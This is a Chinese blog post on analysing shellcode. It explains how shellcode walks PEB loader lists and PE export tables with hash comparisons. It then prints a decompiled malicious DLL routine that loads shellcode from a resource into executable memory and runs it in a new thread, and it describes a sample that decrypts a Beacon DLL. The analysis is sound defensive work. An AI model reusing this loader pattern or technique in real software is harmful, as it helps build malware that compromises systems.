shellcode分析技巧

概述

0x00

一般情况下shellcode会首先通过PEB定位到_PEB_LDR_DATA(+0xC)结构,然后从该结构中取出一条链表,可以是InLoadOrderModuleList(+0xC)可以是InMemoryOrderModuleList (+0x14)可以是InInitializationModuleList(+0x1c),之后通过遍历这条双向链表来解析LDRDATA_TABLE_ENTRY结构体,从该结构体中提取对应模块的长度(+0x2c)和名称(+0x30)。通过比较模块长度和字符串值来找到需要导入的模块的基址。

0x01

之后解析模块对应的PE文件,首先定位到DataDirectory结构体数组,然后确定导出表RVA,之后通过基址算出导出表地址,然后确定导出函数序号表的RVA(+0x24),导出函数名称表的RVA(+x20),导出函数地址表的RVA(+0x1c),导出函数个数(+0x18)。一般情况下shellcode这里通过比较函数的哈希来定位模块的导出函数。

0x02

最后,分析shellcode时一般只要对其中的call和跳转下断点就能迅速搞清楚其大致的功能了。

例子

这是某组织使用的样本。该样本通过白加黑调用恶意DLL,该DLL从资源段中读取shellcode来执行一个新线程。

  1. char sub_10001BF0()

  2. {

  3. HMODULE v0; // edi

  4. HRSRC v1; // esi

  5. HGLOBAL v2; // ebx

  6. DWORD v3; // edi

  7. const void *v4; // ebx

  8. DWORD (__stdcall *v5)(LPVOID); // eax

  9. DWORD (__stdcall *v6)(LPVOID); // esi

  10. HANDLE v7; // eax

  11. DWORD ThreadId; // [esp+4h] [ebp-4h]

  12. v0 = hModule;

  13. InterlockedCompareExchange(&Destination, 1, 2);

  14. if ( Destination == 1 )

  15. {

  16. Destination += 2;

  17. v1 = FindResourceExW(v0, (LPCWSTR)274, (LPCWSTR)365, 1033u);

  18. GetLastError();

  19. if ( v1 )

  20. {

  21. v2 = LoadResource(v0, v1);

  22. if ( v2 )

  23. {

  24. v3 = SizeofResource(v0, v1);

  25. if ( v3 )

  26. {

  27. v4 = LockResource(v2);

  28. if ( v4 )

  29. {

  30.   v5 = (DWORD (__stdcall *)(LPVOID))VirtualAlloc(0, v3, 0x3000u, 0x40u);

  31. v6 = v5;

  32. if ( v5 )

  33. {

  34. memmove(v5, v4, v3);

  35. ThreadId = 0;

  36. v7 = CreateThread(0, 0x400000u, v6, 0, 0, &ThreadId);

  37. WaitForSingleObject(v7, 0xFFFFFFFF);

  38. VirtualFree(v6, v3, 0x8000u);

  39. }

  40. }

  41. }

  42. }

  43. }

  44. ExitProcess(0);

  45. }

  46. return 1;

  47. }

shellcode执行流程和概述大同小异 首先定位到双向链表

然后解析PE文件

循环比较hash值

不同之处在于在循环比较的过程中有特别多的混淆

之后会一块一块的导入需要的函数,比如通过CreateThread执行一个线程开启一个服务,从ProgramData目录下读入一个Json文件到内存中通过CryptDecrypt来进行解密。解密出来的PE文件为该组织常用Beacon.dll

后续shellcode直接从"MZ"开始执行,并将导出函数_execute代码块复制到一块新的内存中跳转执行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小黑安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值